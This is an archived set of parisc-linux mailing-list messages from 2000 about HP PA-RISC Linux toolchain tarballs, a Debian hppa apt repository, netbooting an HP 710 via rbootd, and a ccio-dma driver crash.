Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id AA92137D06; Fri, 15 Sep 2000 19:37:48 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from David Huggins-Daines <dhd@linuxcare.com> 
   of "15 Sep 2000 04:00:36 EDT." <87r96mgk4b.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7955

I have put a new LinuxX86 -> hppa/hppa64 cross-compiler tarball at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20000915.tar.gz

This tarball contains 32 bit binutils, gcc, and glibc and 64 bit binutils and 
gcc. So you can use it to compile both 32 bit userspace apps and 32 bit and 64 
bit kernels.

David Huggins-Daines writes...

> Pending a proper Debian archive on p.e.h.c, I've started collecting
> packages at http://puffin.external.hp.com/~dhd/debian-hppa/.  If they
> don't install then use dpkg --force-deps.

I've created a semi-proper debian archive accessible at,

http://puffin.external.hp.com/debian-hppa
and
ftp://puffin.external.hp.com/pub/debian-hppa

and I have added debs for all the things I've been cross compiling that David 
has not build native debs for.

I have also made the same available as tarballs in,

ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Shared native toolchain (and Perl) uploaded, dpkg tarball, Debian packages
Date: Sat, 16 Sep 2000 15:21:46 +0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20000916152143.Z21912@neep.com.au>
References: <87r96mgk4b.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619130 3860 80.91.229.3 (22 Nov 2014 01:18:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
Original-X-From: andrew@neep.com.au  Sat Sep 16 01:21:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA31226
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Sep 2000 01:21:34 -0600
Original-Received: (qmail 26864 invoked by uid 15267); 16 Sep 2000 07:22:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26851 invoked from network); 16 Sep 2000 07:22:00 -0000
Original-Received: from symphony-02.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.17)
  by mailserv2.iuinc.com with SMTP; 16 Sep 2000 07:22:00 -0000
Original-Received: (qmail 4115 invoked by uid 666); 16 Sep 2000 07:21:50 -0000
Original-Received: from reggae-24-216.nv.iinet.net.au (HELO guinness.neep.com.au) (203.59.89.216)
  by mail.iinet.net.au with SMTP; 16 Sep 2000 07:21:50 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id PAA09227;
	Sat, 16 Sep 2000 15:21:50 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com,
	debian-hppa@lists.debian.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <87r96mgk4b.fsf@linuxcare.com>; from dhd@linuxcare.com on Fri, Sep 15, 2000 at 04:00:36AM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7956

David Huggins-Daines said:
> Perl (and gdbm, which it requires):
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/perl-20000914.tgz
> ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/gdbm-20000915.tgz
> 
> You will need to run 'ln perl5.00503 perl5.005; ln perl5.00503
> perl-5.005' after untarring that to satisfy some scripts.

A quick note for those who might just be cut & pasting the URLs to
ncftpget like I was ... the perl tarball ends with 'tar.gz' not 'tgz'.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New cross compiling binutils available
Date: Mon, 29 Mar 1999 12:57:55 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <19990329125755.E1081@cmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619130 3865 80.91.229.3 (22 Nov 2014 01:18:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@sod.res.cmu.edu  Mon Mar 29 12:57:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id MAA31465
	for <parisc-linux@sod.res.cmu.edu>; Mon, 29 Mar 1999 12:57:57 -0500
Original-Received: (qmail 26078 invoked by uid 15267); 29 Mar 1999 17:56:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26071 invoked from network); 29 Mar 1999 17:56:31 -0000
Original-Received: from sod.res.cmu.edu (pschwan@128.2.91.30)
  by mailserv2.iuinc.com with SMTP; 29 Mar 1999 17:56:31 -0000
Original-Received: (from pschwan@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id MAA31459;
	Mon, 29 Mar 1999 12:57:55 -0500
X-Mailer: Mutt 0.91i
Xref: news.gmane.org gmane.linux.ports.parisc:7957

For the developers in the crowd, I just moved new binutils RPMs onto
the FTP site.  They fix a double free that Nat found that would make
the linker crash when building the kernel.

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg


From - Thu Nov 08 21:13:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Romain Dolbeau <dolbeaur@club-internet.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Netbooting a 710 : IPX ?
Date: Sat, 16 Sep 2000 15:10:16 +0100
Organization: ENS Cachan - Ker Lann
Lines: 52
Approved: news@gmane.org
Message-ID: <39C37F48.E9481800@club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619131 3867 80.91.229.3 (22 Nov 2014 01:18:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dolbeaur@club-internet.fr  Sat Sep 16 07:05:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA02436
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Sep 2000 07:05:41 -0600
Original-Received: (qmail 24772 invoked by uid 15267); 16 Sep 2000 13:06:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24760 invoked from network); 16 Sep 2000 13:06:12 -0000
Original-Received: from front6.grolier.fr (194.158.96.56)
  by mailserv2.iuinc.com with SMTP; 16 Sep 2000 13:06:12 -0000
Original-Received: from club-internet.fr (nas5-217.vlt.club-internet.fr [194.158.107.217])
	by front6.grolier.fr (8.9.3/No_Relay+No_Spam_MGC990224) with ESMTP id PAA27989;
	Sat, 16 Sep 2000 15:06:04 +0200 (MET DST)
Original-Sender: romain@front6.grolier.fr
X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7958

Hello,

I've trouble netbboting my 710 : it seems that it doesn't
broadcast bootp request, but some IPX Service Advertisement
Protocol stuff...

here's what tcpdump has to say :

#####
tcpdump: listening on hme0
14:31:31.864970 8:0:9:25:bd:de 8:0:20:86:f0:d3 0029 55: sap f8 ui/C
>>> Unknown IPX Data: (38 bytes)
[000] 00 00 00 06 08 06 09 01  00 00 00 00 00 FF FF 00  ........
........
[010] 02 48 50 53 37 30 30 20  20 20 20 20 20 20 20 20  .HPS700          
[020] 20 20 20 20 20 00                                      . 
 len=38
                         f8f8 0300 0000 0608 0609 0100 0000 0000
                         ffff 0002 4850 5337 3030 2020 2020 2020
                         2020 2020 2020 2020 00
14:31:53.778428 8:0:9:25:bd:de 9:0:9:0:0:4 0029 55: sap f8 ui/C
>>> Unknown IPX Data: (38 bytes)
[000] 00 00 00 06 08 06 09 01  00 00 00 00 00 FF FF 00  ........
........
[010] 02 48 50 53 37 30 30 20  20 20 20 20 20 20 20 20  .HPS700          
[020] 20 20 20 20 20 00                                      . 
 len=38
                         f8f8 0300 0000 0608 0609 0100 0000 0000
                         ffff 0002 4850 5337 3030 2020 2020 2020
                         2020 2020 2020 2020 00
#####

8:0:9:25:bd:de is the hp710
8:0:20:86:f0:d3 is the bootpd host (a Sun Ultra 1)

Does anyone know :

# if it's possible to make this 710 behave properly
 (i.e. use IP)

# or to netboot using IPX (I can use Solaris/sparc
 or NetBSD/sparc for netbooting, I could probably
 add Linux/sparc to the list)

Thanks in advance,

-- 
DOLBEAU Romain
ENS Cachan / Ker Lann
Thesard IRISA / CAPS
dolbeaur@club-internet.fr


From - Thu Nov 08 21:13:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Netbooting a 710 : IPX ?
Date: Sun, 17 Sep 2000 03:34:19 +0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20000917033416.A16536@neep.com.au>
References: <39C37F48.E9481800@club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619131 3869 80.91.229.3 (22 Nov 2014 01:18:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Sat Sep 16 13:34:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA04344
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Sep 2000 13:34:08 -0600
Original-Received: (qmail 16931 invoked by uid 15267); 16 Sep 2000 19:34:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16912 invoked from network); 16 Sep 2000 19:34:38 -0000
Original-Received: from symphony-03.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.18)
  by mailserv2.iuinc.com with SMTP; 16 Sep 2000 19:34:38 -0000
Original-Received: (qmail 24790 invoked by uid 666); 16 Sep 2000 19:34:25 -0000
Original-Received: from reggae-24-216.nv.iinet.net.au (HELO guinness.neep.com.au) (203.59.89.216)
  by mail.iinet.net.au with SMTP; 16 Sep 2000 19:34:25 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id DAA16794
	for parisc-linux@thepuffingroup.com; Sun, 17 Sep 2000 03:34:23 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <39C37F48.E9481800@club-internet.fr>; from dolbeaur@club-internet.fr on Sat, Sep 16, 2000 at 03:10:16PM +0100
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7959

Romain Dolbeau said:
> I've trouble netbboting my 710 : it seems that it doesn't
> broadcast bootp request, but some IPX Service Advertisement
> Protocol stuff...

I think you will need 'rbootd' running to answer the initial request,
which then hands over to bootpd.

 The rbootd daemon is used for booting some HP workstations
 over the network (such as the 9000/300 and 9000/400 series).
 It can also boot PA RISC workstations.  It handles the first
 stage of the boot sequence and can be used to start booting
 Linux, NetBSD or HPUX.

(Debian GNU/Linux rbootd package description.)

There is a build on ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/
but I don't know for which architecture and OS.  =)  You shouldn't have
any trouble finding a package or the source to build for your platform.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New native toolchain and glibc tarballs, upgrade
Date: 16 Sep 2000 20:16:40 -0400
Organization: Linuxcare, Inc.
Lines: 14
Approved: news@gmane.org
Message-ID: <87n1h7j2jb.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619131 3871 80.91.229.3 (22 Nov 2014 01:18:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:51 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Sat Sep 16 18:16:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA07126
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Sep 2000 18:16:31 -0600
Original-Received: (qmail 22513 invoked by uid 15267); 17 Sep 2000 00:17:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22506 invoked from network); 17 Sep 2000 00:17:03 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 17 Sep 2000 00:17:03 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13aS8O-00041t-00; Sat, 16 Sep 2000 20:16:40 -0400
Original-Lines: 13
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7960

There are new 20000916 gcc, binutils, and glibc tarballs on the FTP
site (puffin.external.hp.com:/pub/parisc/binaries/userspace).
Upgrading glibc, at least, is highly recommended as this one fixes a
stupid bug that was preventing initializers in shared libraries from
being run (and thus made apt-get crash, which it doesn't anymore).

You'll also notice that binutils got smaller (because it now uses
shared libbfd and libopcodes) and GCC got larger (because it now has a
shared libstdc++.so).

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New Cross-Compiler, userspace tarballs, and Debian packages (was Re:  [parisc-linux] Shared native toolchain (and Perl) uploaded, dpkg tarball,  Debian packages)
Date: 16 Sep 2000 20:20:10 -0400
Organization: Linuxcare, Inc.
Lines: 18
Approved: news@gmane.org
Message-ID: <87em2jj2dh.fsf@linuxcare.com>
References: <87r96mgk4b.fsf@linuxcare.com>
	<20000916013748.AA92137D06@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619132 3873 80.91.229.3 (22 Nov 2014 01:18:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: dhd@linuxcare.com  Sat Sep 16 18:33:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA07557
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Sep 2000 18:33:13 -0600
Original-Received: (qmail 32461 invoked by uid 15267); 17 Sep 2000 00:33:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32453 invoked from network); 17 Sep 2000 00:33:44 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 17 Sep 2000 00:33:44 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13aSBm-00041x-00; Sat, 16 Sep 2000 20:20:10 -0400
In-Reply-To: Matt Taggart's message of "Fri, 15 Sep 2000 19:37:48 -0600"
Original-Lines: 17
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7961

Matt Taggart <taggart@carmen.fc.hp.com> writes:

> and I have added debs for all the things I've been cross compiling that David 
> has not build native debs for.

I went and made this apt-able.  (Yes, we have apt now, you need the
latest glibc and gcc tarballs to run it though).  The correct
sources.list invocation for it is:

deb http://puffin.external.hp.com/ debian-hppa/

Matt: I put dpkg-scanpackages and other dpkg programs and libs in
~dhd/{bin,lib}, if you want to use them.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New Cross-Compiler, userspace tarballs, and Debian packages...
Date: Sat, 16 Sep 2000 18:46:30 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <200009170146.SAA07810@milano.cup.hp.com>
References: <87em2jj2dh.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619132 3876 80.91.229.3 (22 Nov 2014 01:18:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Sat Sep 16 19:42:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA08141
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Sep 2000 19:42:23 -0600
Original-Received: (qmail 7491 invoked by uid 15267); 17 Sep 2000 01:42:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7480 invoked from network); 17 Sep 2000 01:42:54 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 17 Sep 2000 01:42:54 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 9903D7A4; Sat, 16 Sep 2000 18:42:53 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA07810;
	Sat, 16 Sep 2000 18:46:33 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "16 Sep 2000 20:20:10 PDT."
             <87em2jj2dh.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7962

David Huggins-Daines wrote:
...
> I went and made this apt-able.  (Yes, we have apt now, you need the
> latest glibc and gcc tarballs to run it though).

Mott or David,
Do we have a recipe to install all the stuff posted so far?

I'm pretty sure the README.INSTALL on the v0.1 CD isn't useful
for apt-getting. I can help develope/update to a new install recipe.

I'm still using NFSROOT and feel "behind the times" despite being
in the middle of most of the developement. I suspect many others
could help us test/use/build on their respective boxes if the
install process were obvious.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Romain Dolbeau <dolbeaur@club-internet.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Netbooting a 710 : IPX ?
Date: Sun, 17 Sep 2000 13:51:32 +0100
Organization: ENS Cachan - Ker Lann
Lines: 37
Approved: news@gmane.org
Message-ID: <39C4BE54.834952DB@club-internet.fr>
References: <39C37F48.E9481800@club-internet.fr> <20000917033416.A16536@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619132 3877 80.91.229.3 (22 Nov 2014 01:18:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dolbeaur@club-internet.fr  Sun Sep 17 05:46:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA22658
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Sep 2000 05:46:52 -0600
Original-Received: (qmail 802 invoked by uid 15267); 17 Sep 2000 11:47:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 791 invoked from network); 17 Sep 2000 11:47:24 -0000
Original-Received: from front1.grolier.fr (194.158.96.51)
  by mailserv2.iuinc.com with SMTP; 17 Sep 2000 11:47:24 -0000
Original-Received: from club-internet.fr (nas8-129.vlt.club-internet.fr [194.158.111.129])
	by front1.grolier.fr (8.9.3/No_Relay+No_Spam_MGC990224) with ESMTP id NAA01748
	for <parisc-linux@thepuffingroup.com>; Sun, 17 Sep 2000 13:47:20 +0200 (MET DST)
Original-Sender: romain@front1.grolier.fr
X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7963

Andrew Shugg wrote:

> I think you will need 'rbootd' running to answer the initial request,
> which then hands over to bootpd.
[snip]
> There is a build on ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/
> but I don't know for which architecture and OS.  =)  You shouldn't have
> any trouble finding a package or the source to build for your platform.


5116@telia.com wrote:

> The 710 and other early HP9000s dont use bootp, but rboot. There is a
> rboot server on puffin.external.hp.com pub/parisc/binaries/tgz/rbootd-2.0-2.tar.gz


Thanks to the both of you, rbootd was indeed the answer. No IPX
anywhere to be seen, I should spend more time trying to understand
tcpdump :-/

There's a (very old but working after minor patching) sun-rbootd 
package on the web, that works fine on Solaris 7, if anyone is
interested.

I have now two HP ready to run, one 710 (64 MB Ram, dual 420 MB disks)
and one 715 (56 MB Ram, 2 GB disk). If there's any need to test
stuff on these platforms, feel free to ask (but it's unlikely
I'll find much free time except maybe on Saturday/Sunday).

thanks for the help,

-- 
DOLBEAU Romain
ENS Cachan / Ker Lann
Thesard IRISA / CAPS
dolbeaur@club-internet.fr


From - Thu Nov 08 21:13:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Erik Paulson <epaulson@upl.cs.wisc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 and ccio-dma
Date: Thu, 21 Sep 2000 20:12:41 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20000921201241.C28365@data.upl.cs.wisc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619133 3878 80.91.229.3 (22 Nov 2014 01:18:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: epaulson@data.upl.cs.wisc.edu  Thu Sep 21 19:12:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA30013
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Sep 2000 19:12:02 -0600
Original-Received: (qmail 23431 invoked by uid 15267); 22 Sep 2000 01:12:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23424 invoked from network); 22 Sep 2000 01:12:42 -0000
Original-Received: from data.upl.cs.wisc.edu (root@128.105.45.42)
  by mailserv2.iuinc.com with SMTP; 22 Sep 2000 01:12:42 -0000
Original-Received: (from epaulson@localhost)
	by data.upl.cs.wisc.edu (8.10.2/8.10.2) id e8M1CfR29182
	for parisc-linux@thepuffingroup.com; Thu, 21 Sep 2000 20:12:41 -0500
X-Mailer: Mutt 0.95i
Xref: news.gmane.org gmane.linux.ports.parisc:7964

Hi,
	Using the CVS kernel on a C100 I'm seeing it die with an out-of-mapping
resources error from ccio-dma.c. It looks like there's been some active 
development there about a week ago, but it's not helping my machine. The 
quickest way for me to bring it about is to try and use mke2fs, but just
mounting the CD and running a few commands will oftentimes do the trick.

How can I help debug this? There's really no useful information provided by
the printk now - is there some sort of debugging info I could be collecting,
or would a backtrace help?

Thanks

-Erik


From - Thu Nov 08 21:13:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and ccio-dma
Date: Thu, 21 Sep 2000 20:44:10 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <39CAC77A.8761CD51@uswest.net>
References: <20000921201241.C28365@data.upl.cs.wisc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619133 3883 80.91.229.3 (22 Nov 2014 01:18:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Erik Paulson <epaulson@upl.cs.wisc.edu>
Original-X-From: rbradetich@uswest.net  Thu Sep 21 20:43:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA30635
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Sep 2000 20:43:40 -0600
Original-Received: (qmail 31945 invoked by uid 15267); 22 Sep 2000 02:44:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31938 invoked from network); 22 Sep 2000 02:44:12 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 22 Sep 2000 02:44:12 -0000
Original-Received: (qmail 46942 invoked by alias); 22 Sep 2000 02:44:10 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 46926 invoked by uid 0); 22 Sep 2000 02:44:10 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 22 Sep 2000 02:44:10 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7965

Erik,

I also have that problem on the C200+, but it isn't a ccio-dma.c problem
(atleast I don't think it is) ... I believe it is a sym53cxx driver problem.  I
have already started tracking this down, and hopefully will have time to
find and squash the bug this weekend.

hope this helps!

Ryan

Erik Paulson wrote:

> Hi,
>         Using the CVS kernel on a C100 I'm seeing it die with an out-of-mapping
> resources error from ccio-dma.c. It looks like there's been some active
> development there about a week ago, but it's not helping my machine. The
> quickest way for me to bring it about is to try and use mke2fs, but just
> mounting the CD and running a few commands will oftentimes do the trick.
>
